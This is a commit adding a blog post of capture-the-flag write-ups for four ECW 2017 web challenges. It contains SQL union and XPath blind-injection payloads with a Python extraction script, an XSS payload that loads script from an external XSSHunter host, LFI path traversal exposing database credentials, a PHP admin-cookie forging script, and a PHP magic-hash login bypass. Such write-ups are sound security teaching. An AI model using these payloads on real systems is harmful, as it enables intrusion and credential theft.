ECW Web Writeup

pull/1/head
Swissky 2017-11-07 15:12:08 +01:00
parent b9153d6efa
commit 7940dacb88
1 changed files with 290 additions and 0 deletions

290
_posts/2017-11-7-ECW-CTF.md Normal file
View File

@ -0,0 +1,290 @@
---
layout: post
title: ECW CTF - Web Writeups
---
Prequals online
- [Web 50 - Hall of Fame](#web-50---hall-of-fame)
- [Web 100 - Pass Through](#web-100---pass-through)
- [Web 150 - GoldFish](#web-150---goldfish)
- [Web 175 - Magic Car](#web-175---magic-car)
## Web 50 - Hall of Fame
This challenge was a basic SQL injection, let's follow our [methodology](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL injection/MySQL Injection.md) and extract the informations in the database. First we need to extract the columns number of the current "SELECT column1, column2 FROM ..."
{% highlight php%}
1' union select 1,2,3,4,5,6#
{% endhighlight %}
We can clearly see the injection point is located in the 4th columns.
Let's extract the version now
{% highlight php%}
1' union select 1,2,3,version(),5,6#
5.7.17-0ubuntu0.16.04.1 5
{% endhighlight %}
Extract database name
{% highlight php%}
1' union select 1,2,3,gRoUp_cOncaT(0x7c,schema_name,0x7c),5,6 fRoM information_schema.schemata#
3 |information_schema|,|ecw| 5
{% endhighlight %}
This is interesting, there is an ECW database. Let's dig into it by extracting the table name.
{% highlight php%}
1' union select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C),5,6 fRoM information_schema.tables wHeRe table_schema="ecw"#
3 |users| 5
{% endhighlight %}
Extract columns name
{% highlight php%}
1' union select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C),5,6 fRoM information_schema.columns wHeRe table_name="users"#
3 |rank|,|username|,|score|,|password|,|comment| 5
{% endhighlight %}
That's great now we can do a simple "SELECT" query to get the username and password of every users.
{% highlight php%}
1' union select 1,2,3,gRoUp_cOncaT(password),5,6 fRoM users#
ECW{69d7da73beaab34d6034211c0d848848},
ECW{e0d409de9fa2e61e6635e27fb73cc5e7},
ECW{2455afd815b54a0ce60b73074c3a652c},
ECW{cdf6c1b0ce7b41872a267d66e2b2dfa0},
ECW{8361993d2541062b311e61b0ade994ee},
ECW{420c7523b0a7ba0f8f40f8e98cad3c38},
ECW{77a66a027d20c8ecce920d3c3d8fb2c8},
ECW{03e8d7e2fc14e0a8b4b978f8367e6d3b},
ECW{b55ec992616468307c6cc4154dfd37a3},
ECW{d0c7cc155840d91c17fb3c885320ce1f},
ECW{c18018cb461d3b299bb5c437454abc80}
{% endhighlight %}
Unfortunately there are a lot of flags, we can try them all.. or be a little bit smarter.
Since we can dump the content we can try to export the "comment" section
{% highlight php%}
1' union select 1,2,3,gRoUp_cOncaT(comment,password,0x7c),5,6 fRoM users#
I love french fries and create CTFECW{77a66a027d20c8ecce920d3c3d8fb2c8}|,
{% endhighlight %}
This one looked promising, and we can validate with it.
## Web 100 - Pass Through
At first, I was looking for an SQL injection in order to bypass the login, the following payload worked:
{% highlight php%}
Username:admin
Password:' or '1'='1
Authentification validée. Le mot de passe est le flag.
{% endhighlight %}
It says the "password is the flag", damn we need to extract it with a blind injection. After a lot of tries I discovered it was an XPATH injection instead of an SQL. We will use the string-length to check the size of a string, here we know the size of the username, this will help verify our guess.
{% highlight php%}
' or '1'='1' and string-length(username)=5 and '1'='1
' or '1'='1' and string-length(username)>4 and '1'='1
' or '1'='1' and string-length(password)>40 and '1'='1 NOK
' or '1'='1' and string-length(password)>10 and '1'='1 OK
' or '1'='1' and string-length(password)>20 and '1'='1 OK
' or '1'='1' and string-length(password)>30 and '1'='1 OK
{% endhighlight %}
Now we can script this in order to extract the size of the password, since we know it's >20 and <40.
{% highlight python%}
passwdlen = 0
for i in range(20,40):
payload = {
'nonce':'26a7ef027c271845670d1abc96014f2cfa5df865721b70d43cb51a0d93264553d1411815be8f68132ef7927e3a8eeb21a8da3b88fc0f521513babd55b10c9d29',
'username': 'admin',
'password': "' or '1'='1' and string-length(password)=REPLACE and '1'='1".replace('REPLACE',str(i))
}
r = requests.post(url, data=payload, cookies = {'session': session}, verify=False ).text
if not "invalide" in r:
passwdlen = i
print "Password length : "+str(i)
{% endhighlight %}
The output of this script will give the the length of the password : 37
Now we will extract the characters one by one with the "substring" method, e.g:substring("ABCD",2,1)='B'
{% highlight python%}
#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys, getopt
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
if __name__ == "__main__":
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
url = "https://challenge-ecw.fr/chals/web100"
session = ".eJwVj0Frg0AQRv9KmbOHRC0EoZeiCVuYkbQTZfZmEqO7ugYixdWQ_157e_AeH3xPGO7DpYbkCW9nSACtbiksHKYqkkVFyM2GWCI8HL2UXzZnmZC_HTpywkWnbRMSX2Ys1X-zwZAM8b5d-R0XFVJ62mJ49JRmPk-zrbhTrK3EyDjrUqKcVaSZ2vxQ9GKVF247YTJ52jpZPh2x8sTZIm5v9LolNptk6Tu03Qe8Avgd68dQufUA_ExmHLsZAqiuzgyQ3Kp-rAPoq6FZ9e2xGnOFZBe__gBfKVAP.DLpGFw.xgJdaSDoDQNmN4w0D1OTDWYWiIs"
passwdlen = 37
password=""
for i in range(passwdlen-5,passwdlen+20):
for c in range(32,250):
payload = {
'nonce':'26a7ef027c271845670d1abc96014f2cfa5df865721b70d43cb51a0d93264553d1411815be8f68132ef7927e3a8eeb21a8da3b88fc0f521513babd55b10c9d29',
'username': 'admin',
'password': "' or substring(password,"+str(i)+",1)='"+chr(c)
}
r = requests.post(url, data=payload, cookies = {'session': session}, verify=False ).text
print payload['password']
if not "invalide" in r:
password += chr(c)
print password
break
{% endhighlight %}
With this we get BCPP6f5f5724aa2fa973bb9471746c2cb4a0} which looks like a flag, we can easily correct the first chars : ECW{6f5f5724aa2fa973bb9471746c2cb4a0}
## Web 150 - GoldFish
GoldFish was a Web Application written in PHP, where you can write a "post-it" which will self-destroy after 30sec.
For this challenge I created a user named "glopglopglop" this will be needed for the exploitation ;)
First I tried to exploit an XSS, you could write a "Post" with the following input:
{% highlight php%}
postname: reflected in the url
content : reflected in the page
{% endhighlight %}
The "Post" would be available at "/posts/user/postname" (this URL was found when you submit the same post twice in less than 30sec)
Here is a simple output that triggered the XSS (the payload is from XSSHunter), it was available at https://challenge-ecw.fr/chals/web150/posts/glopglopglop/mymemo
{% highlight php%}
My super memo content!"></textarea></blockquote><script src=https://[REDACTED].xss.ht></script>
<script src=https://[REDACTED].xss.ht></script>
{% endhighlight %}
I waited hours and hours, nothing happened..
Then I try to fuzz a little bit the "name" field since we could "rewrite" the URL. I finally managed to find an LFI with the source code reflected in the dashboard inside the memo. Thanks to this we could extract all the source code of the WebApp
{% highlight php%}
../../././././././././././././././././././index.php
../../././././././././././././././././././include/session.php
function checkCookie()
{
$user = null;
if(isset($_COOKIE['web150']))
{
$data = explode('_', $_COOKIE['web150']);
if(count($data) == 2)
{
$id = $data[0];
$cipher = $data[1];
$userData = findUserById($id);
if($userData != null)
{
if(strcmp(decryptString($cipher, $userData['login']), $userData['login']) == 0)
$user = $userData;
}
}
}
../../././././././././././././././././././include/config.php
$db_name = 'web150';
$db_login = 'web150';
$db_pass = 'Hell0Challenger!';
function generateHash($pPass)
{
$salt = 'uH39*z_f-D48w';
return hash('sha256', $salt . hash('sha256', $pPass));
}
{% endhighlight %}
The cookie part was interesting, it is decrypting its content with "decryptString". By looking deeper in the generation of the cookie I discovered it was based on the name of the user but the password wasn't part of it.
{% highlight php%}
function encryptString($pText){
$key = generateKey($pText);
$iv = mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_CBC), MCRYPT_RAND);
$iv_to_pass_to_decryption = base64_encode($iv);
return base64_encode($iv . mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $key, $pText, MCRYPT_MODE_CBC, $iv));
}
{% endhighlight %}
This encrypted string was used in the cookie as follow:
{% highlight php%}
>>> import hackercodecs
>>> "123_i89j6%2FHxno%2Bj14Thft%2BjlzbpzP1Qvqq6znJHbFMAdJ7YTFLiq0I4gzzsHrtFgr1ND%2FsuFU8H8A%2FI86YU5X0qIQ%3D%3D".decode('url')
'123_i89j6/Hxno+j14Thft+jlzbpzP1Qvqq6znJHbFMAdJ7YTFLiq0I4gzzsHrtFgr1ND/suFU8H8A/I86YU5X0qIQ=='
#id_encryptedstring_in_base64_in_url_encoded
{% endhighlight %}
This means we can forge our cookie to be connected as admin since we only need a valid hash based on his name.
{% highlight php%}
<?php function generateKey($pKey)
{
if ($pKey == null || strlen($pKey) == 0)
return null;
$s = '';
while (strlen($s)< 1000)
$s .= $pKey;
$e1 = 2;
$e2 = 3;
$r = '';
for ($i = 0 ; $i < 12 ; $i++)
{
$e2 += $e1;
$e1 = $e2 - $e1;
$r .= $s[$e2];
}
return pack('H*', md5($r));
}
$user_id="1";
$key = generateKey("admin");
$iv = mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_CBC), MCRYPT_RAND);
$iv_to_pass_to_decryption = base64_encode($iv);
$encrypt = base64_encode($iv . mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $key, "admin", MCRYPT_MODE_CBC, $iv));
echo $user_id . '_' . $encrypt;
?>
{% endhighlight %}
The "ID" of admin was '1', after replacing our cookie with the forged one we get the following flag:
{% highlight php%}
Well done! This is the super flag : ECW{527007e99d5068963281e660d5fb5a8d}
{% endhighlight %}
## Web 175 - Magic Car
The topic of this challenge was the following text: "Notre nouveau système de réservation de covoiturage a été piraté. Le pirate a ajouté un nouveau formulaire d'authentification et a changé le mot de passe administrateur. Nous avons réussi à retrouver le code source de l'interface, mais nous ne pouvons pas récupérer le service sans les informations d'identification valides.
Aide nous à les retrouver.". We had to find a way to login without a valid username/password. The source code of the challenge was also provided.
{% highlight php%}
<?php
require_once("flag.php");
$sec_pass = "0e413229387827631581229643338212";
if (isset($_POST['username']) && isset($_POST['password'])) {
if (md5($_POST['password'] . $_POST['username']) == $sec_pass){
return $success;
[...]
?>
{% endhighlight %}
So we need to have an MD5 hash equal to 0e413229387827631581229643338212. This is a basic type juggling in PHP, because 0e0123.. is a float representation in PHP we can do the following:
{% highlight php%}
0e123 == 0e456
True
{% endhighlight %}
We want a magic hashed in PHP, it's an hash where the content is only made of integers. WhiteHatSec already done the research for us : https://www.whitehatsec.com/blog/magic-hashes/
{% highlight php%}
<?php
if (hash('md5','240610708',false) == '0') {
print "Matched.n";
}
{% endhighlight %}
We can split the string "240610708" to create a valid authentification.
{% highlight php%}
user:10708
pass:2406
{% endhighlight %}
Then we get the flag ECW{846badef298374cc62934fdfdeee2341}
This challenge reminded me of one I created for the ESE 2016, check out the write-up ! ;)
* [ESE 2016 - Magic Crypto Language](https://github.com/swisskyrepo/ESIEA_SECURE_EDITION_2016/tree/master/crypto_250_-_magic_crypto_language)